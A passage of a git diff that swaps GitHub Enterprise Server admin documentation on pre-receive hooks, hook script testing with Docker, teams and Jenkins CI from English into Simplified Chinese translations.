b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md index 8317b5e927..a7fea3de74 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md @@ -1,6 +1,6 @@ --- -title: About pre-receive hooks -intro: '*Pre-receive hooks* are scripts that run on the {% data variables.product.prodname_ghe_server %} appliance that you can use to implement quality checks.' +title: 关于预接收挂钩 +intro: '预接收挂钩是在 {% data variables.product.prodname_ghe_server %} 设备上运行的脚本,可用于实施质量检查。' redirect_from: - /enterprise/admin/developer-workflow/about-pre-receive-hooks - /enterprise/admin/policies/about-pre-receive-hooks @@ -12,25 +12,26 @@ topics: - Enterprise - Policies - Pre-receive hooks +ms.openlocfilehash: a62d5391f9733c4a79ea8ba5d5f8f0d821d47d5c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145098022' --- +当发生推送时,每个脚本都在隔离的环境中运行,并且可以对推送的内容执行检查。 如果 exit status 为 0,脚本将导致接受推送,如果 exit status 不为零,则会拒绝接受推送。 -## About pre-receive hooks +## 使用方案 +使用预接收挂钩来满足业务规则、强制执行法规遵从性,并防止出现某些常见错误。 -When a push occurs, each script runs in an isolated environment and can perform checks on the content of the push. The scripts will cause the push to be accepted if the exit status is 0, or rejected if the exit status is non-zero. +如何使用预接收挂钩的示例: -Use pre-receive hooks to satisfy business rules, enforce regulatory compliance, and prevent certain common mistakes. +- 需要提交消息来遵循特定的模式或格式,例如包括有效的事件单号或超过一定长度。 +- 通过拒绝所有推送来锁定分支或仓库。 +- 通过阻止关键词、模式或文件类型来防止将敏感数据添加到仓库。 +- 防止 PR 作者合并他们自己的更改。 -Examples of how you can use pre-receive hooks: +## 对性能和工作流程的影响 +对开发者及其工作流程的影响可能很大,因此必须谨慎考虑。 基于业务需求并经过深思熟虑实施的预接收挂钩将为整个组织带来最大好处。 -- Require commit messages to follow a specific pattern or format, such as including a valid ticket number or being over a certain length. -- Lock a branch or repository by rejecting all pushes. -- Prevent sensitive data from being added to the repository by blocking keywords, patterns or file types. -- Prevent a PR author from merging their own changes. - -{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %} - -## Impact on performance and workflows - -Impact to developers and their workflows can be significant and must be considered carefully. Pre-receive hooks that are based on business needs and implemented thoughtfully will provide the most benefit to the organization as a whole. - -Pre-receive hooks can have unintended effects on the performance of {% data variables.location.product_location %} and should be carefully implemented and reviewed. +预接收挂钩可能会对 {% data variables.product.product_location %} 的性能产生意外影响,因此应谨慎实施和审查。 diff --git a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md index f321f1d97e..faa63e77d6 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md @@ -1,6 +1,6 @@ --- -title: Creating a pre-receive hook script -intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents. +title: 创建预接收挂钩脚本 +intro: 使用预接收挂钩脚本创建基于内容来接受或拒绝推送的要求。 miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script @@ -14,146 +14,138 @@ topics: - Policies - Pre-receive hooks shortTitle: Pre-receive hook scripts +ms.openlocfilehash: 3d01ba3d5d189e65cbd2b4589af9072571837944 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332350' --- +可以在 [`github/platform-samples` 存储库](https://github.com/github/platform-samples/tree/master/pre-receive-hooks)中查看 {% data variables.product.prodname_ghe_server %} 的预接收挂钩示例。 -{% data reusables.enterprise_site_admin_settings.pre-receive-hook-examples %} +## 编写预接收挂钩脚本 +预接收挂钩脚本在 {% data variables.product.product_location %} 上的预接收挂钩环境中执行。 创建预接收挂钩脚本时,请考虑可用的输入、输出、退出状态和环境变量。 -## Writing a pre-receive hook script -A pre-receive hook script executes in a pre-receive hook environment on {% data variables.location.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables. - -### Input (`stdin`) -After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.location.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref. +### 输入 (`stdin`) +推送发生后,在为远程存储库更新任何引用之前,在 {% data variables.product.product_location %} 上的 `git-receive-pack` 进程将调用预接收挂钩脚本。 脚本的标准输入 `stdin` 是一个字符串,对每个要更新的 ref 包含一行。 每行都包含 ref 的旧对象名称、引用的新对象名称和 ref 的全名。 ``` SP SP LF ``` -This string represents the following arguments. +此字符串表示以下参数。 -| Argument | Description | +| 参数 | 说明 | | :------------- | :------------- | -| `` | Old object name stored in the ref.
When you create a new ref, the value is 40 zeroes. | -| `` | New object name to be stored in the ref.
When you delete a ref, the value is 40 zeroes. | -| `` | The full name of the ref. | +| `` | 存储在 ref 中的旧对象名称。
创建一个新的 ref 时,该值为 40 个零。 | +| `` | 要存储在 ref 中的新对象名称。
删除 ref 时,该值为 40 个零。 | +| `` | ref 的全名。 | -For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*. +有关 `git-receive-pack` 的详细信息,请参阅 Git 文档中的“[git-receive-pack](https://git-scm.com/docs/git-receive-pack)”。 有关 ref 的详细信息,请参阅“Pro Git”中的“[Git 引用](https://git-scm.com/book/en/v2/Git-Internals-Git-References)”。 -### Output (`stdout`) +### 输出 (`stdout`) -The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface. +脚本的标准输出 `stdout` 将传回客户端。 任何 `echo` 语句将在命令行或用户界面上对用户均可见。 -### Exit status +### 退出状态 -The exit status of a pre-receive script determines if the push will be accepted. +预接收脚本的退出状态决定是否接受推送。 -| Exit-status value | Action | +| Exit-status 值 | 操作 | | :- | :- | -| 0 | The push will be accepted. | -| non-zero | The push will be rejected. | +| 0 | 将接受推送。 | +| 非零 | 将拒绝推送。 | -### Environment variables +### 环境变量 -In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)." +除了预接收挂钩脚本 `stdin` 的标准输入,{% data variables.product.prodname_ghe_server %} 在 Bash 环境中还为脚本执行提供以下变量。 有关预接收挂钩脚本的 `stdin` 的详细信息,请参阅“[输入 (`stdin`)](#input-stdin)”。 -Different environment variables are available to your pre-receive hook script depending on what triggers the script to run. +预接收挂钩脚本可使用不同的环境变量,具体取决于触发脚本运行的因素。 -- [Always available](#always-available) -- [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api) -- [Available for pull request merges](#available-for-pull-request-merges) -- [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication) +- [始终可用](#always-available) +- [可用于从 Web 界面或 API 推送](#available-for-pushes-from-the-web-interface-or-api) +- [可用于拉取请求合并](#available-for-pull-request-merges) +- [可用于使用 SSH 身份验证的推送](#available-for-pushes-using-ssh-authentication) -#### Always available +#### 始终可用 -The following variables are always available in the pre-receive hook environment. +以下变量在预接收挂钩环境中始终可用。 -| Variable | Description | Example value | +| 变量 | 说明 | 示例值 | | :- | :- | :- | -|
$GIT_DIR
| Path to the remote repository on the instance | /data/user/repositories/a/ab/
a1/b2/34/100001234/1234.git | -|
$GIT_PUSH_OPTION_COUNT
| The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 | -|
$GIT\_PUSH\_OPTION\_N
| Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %} -|
$GIT_USER_AGENT
| User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %} -|
$GITHUB_REPO_NAME
| Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise | -|
$GITHUB_REPO_PUBLIC
| Boolean representing whether the repository being updated is public |
  • true: Repository's visibility is public
  • false: Repository's visibility is private or internal
-|
$GITHUB_USER_IP
| IP address of client that initiated the push | 192.0.2.1 | -|
$GITHUB_USER_LOGIN
| Username for account that initiated the push | octocat | +|
$GIT_DIR
| 实例上远程仓库的路径 | /data/user/repositories/a/ab/
a1/b2/34/100001234/1234.git | +|
$GIT_PUSH_OPTION_COUNT
| 客户端使用 `--push-option` 发送的推送选项数。 有关详细信息,请参阅 Git 文档中的“[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)”。 | 1 | +|
$GIT\_PUSH\_OPTION\_N
| 其中 N 是一个从 0 开始的整数,此变量包含客户端发送的推送选项字符串。 发送的第一个选项存储在 `GIT_PUSH_OPTION_0` 中,发送的第二个选项存储在 `GIT_PUSH_OPTION_1` 中,依此类推。 有关推送选项的详细信息,请参阅 Git 文档中的“[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)”。 | abcd |{% ifversion ghes %} +|
$GIT_USER_AGENT
| 推送更改的 Git 客户端发送的 user-agent 字符串。 | git/2.0.0{% endif %} +|
$GITHUB_REPO_NAME
| 以 NAME/OWNER 格式更新的存储库名称 | octo-org/hello-enterprise | +|
$GITHUB_REPO_PUBLIC
| 表示更新的仓库是否公开的布尔值 |
  • true:仓库的可见性是公开的
  • false:仓库的可见性是私密或内部的
+|
$GITHUB_USER_IP
| 发起推送的客户端 IP 地址 | 192.0.2.1 | +|
$GITHUB_USER_LOGIN
| 发起推送的帐户的用户名 | octocat | -#### Available for pushes from the web interface or API +#### 可用于从 Web 界面或 API 推送 -The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref. +当触发挂钩的 ref 更新通过 {% data variables.product.prodname_ghe_server %} 的 Web 界面或 API 进行时,`$GITHUB_VIA` 变量可用于预接收挂钩环境。 该值描述了更新 ref 的操作。 -| Value | Action | More information | +| 值 | 操作 | 详细信息 | | :- | :- | :- | -|
auto-merge deployment api
| Automatic merge of the base branch via a deployment created with the API | "[Create a deployment](/rest/reference/deployments#create-a-deployment)" in the REST API documentation | -|
blob#save
| Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" | -|
branch merge api
| Merge of a branch via the API | "[Merge a branch](/rest/reference/branches#merge-a-branch)" in the REST API documentation | -|
branches page delete button
| Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" | -|
git refs create api
| Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation | -|
git refs delete api
| Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation | -|
git refs update api
| Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation | -|
git repo contents api
| Change to a file's contents via the API | "[Create or update file contents](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation | -{%- ifversion ghes %} -| `merge ` | Merge of a pull request using auto-merge | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)" | -{%- endif %} -|
merge base into head
| Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" | -|
pull request branch delete button
| Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" | -|
pull request branch undo button
| Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" | -|
pull request merge api
| Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation | -|
pull request merge button
| Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" | -|
pull request revert button
| Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" | -|
releases delete button
| Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" | -|
stafftools branch restore
| Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" | -|
tag create api
| Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation | -|
slumlord (#SHA)
| Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" | -|
web branch create
| Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" | +|
auto-merge deployment api
| 通过 API 创建的部署自动合并基础分支 | REST API 文档中的“[创建部署](/rest/reference/deployments#create-a-deployment)” | +|
blob#save
| 在 Web 界面中更改文件的内容 | [编辑文件](/repositories/working-with-files/managing-files/editing-files) | +|
branch merge api
| 通过 API 合并分支 | REST API 文档中的“[合并分支](/rest/reference/branches#merge-a-branch)” | +|
branches page delete button
| 在 Web 界面中删除分支 | [在存储库中创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch) | +|
git refs create api
| 通过 API 创建 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#create-a-reference)” | +|
git refs delete api
| 通过 API 删除 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#delete-a-reference)” | +|
git refs update api
| 通过 API 更新 ref | REST API 文档中的“[Git 数据库](/rest/reference/git#update-a-reference)” | +|
git repo contents api
| 通过 API 更改文件的内容 | REST API 文档中的“[创建或更新文件内容](/rest/reference/repos#create-or-update-file-contents)” | +{%- ifversion ghes %} | `merge ` | 使用自动合并合并拉取请求 |“[自动合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”| {%- endif %} |
merge base into head
| 当基础分支需要严格的状态检查时从基础分支更新主题分支(例如,通过拉取请求中的“更新分支”)|“[关于受保护的分支](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)”| |
pull request branch delete button
| 从 Web 界面中的拉取请求中删除主题分支 |“[在拉取请求中删除和还原分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)”| |
pull request branch undo button
| 从 Web 界面中的拉取请求还原主题分支 |“[在拉取请求中删除和还原分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)”| |
pull request merge api
| 通过 API 合并拉取请求 | REST API 文档中的“[拉取](/rest/reference/pulls#merge-a-pull-request)”| |
pull request merge button
| 在 Web 界面中合并拉取请求 |“[合并拉取请求](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)”| |
pull request revert button
| 拉取请求的还原 |“[还原拉取请求](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)”| |
releases delete button
| 版本删除 |“[管理存储库中的版本](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)”| |
stafftools branch restore
| 从站点管理仪表板还原分支 |“[站点管理仪表板](/admin/configuration/site-admin-dashboard#repositories)”| |
tag create api
| 通过 API 创建标记 | REST API 文档中的“[Git 数据库](/rest/reference/git#create-a-tag-object)”| |
slumlord (#SHA)
| 通过 Subversion 提交 |“[对 Subversion 客户端的支持](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)”| |
web branch create
| 通过 Web 界面创建分支 |“[在存储库中创建和删除分支](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)”| -#### Available for pull request merges +#### 可用于拉取请求合并 -The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request. +当触发挂钩的推送由于拉取请求请求合并而成为推送时,以下变量在预接收挂钩环境中可用。 -| Variable | Description | Example value | +| 变量 | 说明 | 示例值 | | :- | :- | :- | -|
$GITHUB_PULL_REQUEST_AUTHOR_LOGIN
| Username of account that authored the pull request | octocat | -|
$GITHUB_PULL_REQUEST_HEAD
| The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | octocat:fix-bug | -|
$GITHUB_PULL_REQUEST_BASE
| The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main | +|
$GITHUB_PULL_REQUEST_AUTHOR_LOGIN
| 编写拉取请求的帐户的用户名 | octocat | +|
$GITHUB_PULL_REQUEST_HEAD
| 拉取请求的主题分支的名称,格式为 `USERNAME:BRANCH` | octocat:fix-bug | +|
$GITHUB_PULL_REQUEST_BASE
| 拉取请求的基础分支的名称,格式为 `USERNAME:BRANCH` | octocat:main | -#### Available for pushes using SSH authentication +#### 可用于使用 SSH 身份验证的推送 -| Variable | Description | Example value | +| 变量 | 说明 | 示例值 | | :- | :- | :- | -|
$GITHUB_PUBLIC_KEY_FINGERPRINT
| The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | +|
$GITHUB_PUBLIC_KEY_FINGERPRINT
| 推送更改的用户的公钥指纹 | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 | -## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %} +## 设置权限并将预接收挂钩推送到 {% data variables.product.prodname_ghe_server %} -A pre-receive hook script is contained in a repository on {% data variables.location.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access. +{% data variables.product.product_location %} 上的仓库中包含预接收挂钩脚本。 站点管理员必须考虑仓库权限,确保只有适当的用户才能访问。 -We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used. +我们建议将挂钩合并到单个仓库。 如果统一的挂钩存储库是公共的,则可以使用 `README.md` 来解释策略强制实施。 此外,也可以通过拉取请求接受贡献。 但是,只能从默认分支添加预接收挂钩。 对于测试工作流程,应使用具有配置的仓库的分支。 -1. For Mac users, ensure the scripts have execute permissions: +1. 对于 Mac 用户,确保脚本具有执行权限: ```shell - $ sudo chmod +x SCRIPT_FILE.sh + $ sudo chmod +x SCRIPT_FILE.sh ``` - For Windows users, ensure the scripts have execute permissions: + 对于 Windows 用户,确保脚本具有执行权限: ```shell - git update-index --chmod=+x SCRIPT_FILE.sh + git update-index --chmod=+x SCRIPT_FILE.sh ``` -2. Commit and push to the designated repository for pre-receive hooks on {% data variables.location.product_location %}. +2. 在 {% data variables.product.product_location %} 提交并推送到指定的预接收挂钩仓库。 ```shell - $ git commit -m "YOUR COMMIT MESSAGE" + $ git commit -m "YOUR COMMIT MESSAGE" $ git push ``` -3. [Create the pre-receive hook](/enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance. +3. 在 {% data variables.product.prodname_ghe_server %} 实例上[创建预接收挂钩](/enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks)。 -## Testing pre-receive scripts locally -You can test a pre-receive hook script locally before you create or update it on {% data variables.location.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook. +## 在本地测试预接收脚本 +在 {% data variables.product.product_location %} 上创建或更新预接收挂钩脚本之前,您可以在本地对其进行测试。 一种方法是创建本地 Docker 环境以充当可以执行预接收挂钩的远程仓库。 {% data reusables.linux.ensure-docker %} -2. Create a file called `Dockerfile.dev` containing: +2. 创建一个名为 `Dockerfile.dev` 的文件,其中包含: ```dockerfile FROM gliderlabs/alpine:3.3 @@ -175,7 +167,7 @@ You can test a pre-receive hook script locally before you create or update it on CMD ["/usr/sbin/sshd", "-D"] ``` -3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository: +3. 创建一个名为 `always_reject.sh` 的测试预接收脚本。 此示例脚本将拒绝所有推送,这对于锁定仓库非常有用: ``` #!/usr/bin/env bash @@ -184,13 +176,13 @@ You can test a pre-receive hook script locally before you create or update it on exit 1 ``` -4. Ensure the `always_reject.sh` scripts has execute permissions: +4. 确保 `always_reject.sh` 脚本具有执行权限: ```shell $ chmod +x always_reject.sh ``` -5. From the directory containing `Dockerfile.dev`, build an image: +5. 从包含 `Dockerfile.dev` 的目录中,生成一个映像: ```shell $ docker build -f Dockerfile.dev -t pre-receive.dev . @@ -213,32 +205,32 @@ You can test a pre-receive hook script locally before you create or update it on > Successfully built dd8610c24f82 ``` -6. Run a data container that contains a generated SSH key: +6. 运行包含生成的 SSH 密钥的数据容器: ```shell $ docker run --name data pre-receive.dev /bin/true ``` -7. Copy the test pre-receive hook `always_reject.sh` into the data container: +7. 将测试预接收挂钩 `always_reject.sh` 复制到数据容器中: ```shell $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive ``` -8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned: +8. 运行运行 `sshd` 并执行挂钩的应用程序容器。 记下返回的容器 ID: ```shell $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58 ``` -9. Copy the generated SSH key from the data container to the local machine: +9. 将生成的 SSH 密钥从数据容器复制到本地计算机: ```shell $ docker cp data:/home/git/.ssh/id_ed25519 . ``` -10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine. +10. 修改测试存储库的远程并推送到 Docker 容器内的 `test.git` 存储库。 此示例使用 `git@github.com:octocat/Hello-World.git`,但你可以使用任何想要的存储库。 此示例假定您的本地计算机 (127.0.0.1) 绑定了端口 52311,但如果 docker 在远程计算机上运行,则可以使用不同的 IP 地址。 ```shell $ git clone git@github.com:octocat/Hello-World.git @@ -257,7 +249,7 @@ You can test a pre-receive hook script locally before you create or update it on > error: failed to push some refs to 'git@192.168.99.100:test.git' ``` - Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script. + 请注意,在执行预接收挂钩并回显脚本中的输出后,将拒绝推送。 -## Further reading - - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website* +## 延伸阅读 + - Pro Git 网站中的“[自定义 Git - Git 强制实施策略示例](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)” diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md index d4be251522..53cb2f1ff3 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md @@ -1,12 +1,12 @@ --- -title: Adding people to teams +title: Adding people to teams(将用户添加到团队) redirect_from: - /enterprise/admin/articles/adding-teams - /enterprise/admin/articles/adding-or-inviting-people-to-teams - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams - /enterprise/admin/user-management/adding-people-to-teams - /admin/user-management/adding-people-to-teams -intro: 'Once a team has been created, organization admins can add users from {% data variables.location.product_location %} to the team and determine which repositories they have access to.' +intro: '创建团队后,组织管理员可以将用户从 {% data variables.product.product_location %} 添加到团队并决定他们可以访问哪些存储库。' versions: ghes: '*' ghae: '*' @@ -16,26 +16,28 @@ topics: - Enterprise - Teams - User account +ms.openlocfilehash: 1246641db416630d0faed75821078618a4399eb8 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884251' --- -Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization). +每个团队都有自己单独定义的[组织所拥有存储库的访问权限](/articles/permission-levels-for-an-organization)。 -- Members with the owner role can add or remove existing organization members from all teams. -- Members of teams that give admin permissions can only modify team membership and repositories for that team. +- 具有所有者角色的成员可以向所有团队添加成员或从中移除现有组织成员。 +- 具有管理员权限的团队成员仅可以修改所属团队的成员资格和仓库。 -## Setting up a team +## 设置团队 -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.invite_to_team %} -{% data reusables.organizations.review-team-repository-access %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.invite_to_team %} {% data reusables.organizations.review-team-repository-access %} {% ifversion ghes %} -## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication) +## 将团队映射到 LDAP 组(例如,使用 LDAP 同步进行用户身份验证) {% data reusables.enterprise_management_console.badge_indicator %} -To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator. +要将新成员添加到已同步至 LDAP 组的团队,请将用户添加为 LDAP 组的成员,或者联系您的 LDAP 管理员。 {% endif %} diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md index 859fe38bc4..6ab1fa5387 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md @@ -1,6 +1,6 @@ --- -title: Continuous integration using Jenkins -intro: 'You can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}.' +title: 使用 Jenkins 的持续集成 +intro: '当向 {% data variables.product.product_location %} 中的存储库进行推送时,你可以在 Jenkins 服务器上自动触发构建作业。' redirect_from: - /enterprise/admin/developer-workflow/continuous-integration-using-jenkins - /enterprise/admin/user-management/continuous-integration-using-jenkins @@ -13,7 +13,13 @@ topics: - CI - Enterprise shortTitle: CI using Jenkins +ms.openlocfilehash: dacb99db402d0d06aa4a3c4248e1fcabfd2d085d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145098679' --- -## Requirements +## 要求 -- Follow our white paper "[Practical guide to CI with Jenkins and GitHub](https://resources.github.com/whitepapers/practical-guide-to-CI-with-Jenkins-and-GitHub/)" to get step by step instructions on how you can automatically trigger build jobs on a Jenkins server when pushes are made to a repository in {% data variables.location.product_location %}. +- 按照我们的白皮书“[使用 Jenkins 和 GitHub 实现 CI 的实用指南](https://resources.github.com/whitepapers/practical-guide-to-CI-with-Jenkins-and-GitHub/)”,逐步了解如何在向 {% data variables.product.product_location %} 中的存储库进行推送时在 Jenkins 服务器上自动触发生成作业。 diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md index d87b91370c..42da8d0a32 100644 --- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md +++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md @@ -1,6 +1,6 @@ --- -title: Creating teams -intro: 'Teams give organizations the ability to create groups of members and control access to repositories. Team members can be granted read, write, or admin permissions to specific repositories.' +title: Creating teams(创建团队) +intro: 借助团队,组织可以创建成员组和控制仓库的访问权限。 可以向团队成员授予特定仓库的读取、写入或管理员权限。 redirect_from: - /enterprise/admin/user-management/creating-teams - /admin/user-management/creating-teams @@ -13,55 +13,47 @@ topics: - Enterprise - Teams - User account +ms.openlocfilehash: 83db75485e7967941fdcd3ab651e638aa1eabb3f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332334' --- -Teams are central to many of {% data variables.product.prodname_dotcom %}'s collaborative features, such as team @mentions to notify appropriate parties that you'd like to request their input or attention. For more information, see "[Roles in an 